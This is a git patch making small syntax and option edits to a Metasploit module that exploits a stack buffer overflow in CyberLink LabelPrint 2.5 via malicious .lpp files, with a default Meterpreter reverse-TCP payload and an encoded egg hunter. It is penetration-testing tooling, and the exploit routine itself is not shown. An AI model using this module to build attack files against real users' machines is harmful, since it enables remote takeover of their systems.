From 165f082160c469d09685f65c04d476709a6eb544 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Tue, 11 Dec 2018 07:55:20 -0600 Subject: [PATCH] Fix syntax, minor edits --- .../windows/fileformat/cyberlink_lpp_bof.rb | 23 +++++++------------ 1 file changed, 8 insertions(+), 15 deletions(-) diff --git a/modules/exploits/windows/fileformat/cyberlink_lpp_bof.rb b/modules/exploits/windows/fileformat/cyberlink_lpp_bof.rb index 4120aeec75..1085384cfe 100644 --- a/modules/exploits/windows/fileformat/cyberlink_lpp_bof.rb +++ b/modules/exploits/windows/fileformat/cyberlink_lpp_bof.rb @@ -7,16 +7,15 @@ class MetasploitModule < Msf::Exploit Rank = NormalRanking include Msf::Exploit::FILEFORMAT - include Msf::Exploit::Seh def initialize(info={}) super(update_info(info, 'Name' => "CyberLink LabelPrint 2.5 Stack Buffer Overflow", 'Description' => %q{ - This module exploits a stack buffer overflow in CyberLink LabelPrint 2.5 and below. - The vulnerability is triggered when opening a .lpp project file containing overly long string characters - via open file menu. This results in overwriting a structured exception handler record and take over the - application. This module has been tested on Windows 7 (64 bit), Windows 8.1 (64 bit), and Windows 10 (64 bit). + This module exploits a stack buffer overflow in CyberLink LabelPrint 2.5 and below. + The vulnerability is triggered when opening a .lpp project file containing overly long string characters + via open file menu. This results in overwriting a structured exception handler record and take over the + application. This module has been tested on Windows 7 (64 bit), Windows 8.1 (64 bit), and Windows 10 (64 bit). }, 'License' => MSF_LICENSE, 'Author' => @@ -31,6 +30,7 @@ class MetasploitModule < Msf::Exploit ], 'DefaultOptions' => { + 'FILENAME' => 'msf.lpp', 'EXITFUNC' => 'seh', 'DisablePayloadHandler' => 'true', 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' @@ -66,23 +66,16 @@ class MetasploitModule < Msf::Exploit 'Payload' => { 'Space' => 15000, - 'BadChars' => "\x00", #badchars starts from \x80 to \xff 'DisableNops' => true }, 'DisclosureDate' => 'Sep 23 2017', 'DefaultTarget' => 0)) - - register_options( - [ - OptString.new('FILENAME', [true, 'The malicious file name', 'msf.lpp']) - ]) end def get_payload(hunter) - enc = framework.encoders.create('x86/unicode_mixed') - enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' }) - hunter = enc.encode(hunter, nil, nil, platform) - return hunter + enc = framework.encoders.create('x86/unicode_mixed') + enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' }) + hunter = enc.encode(hunter, nil, nil, platform) end def exploit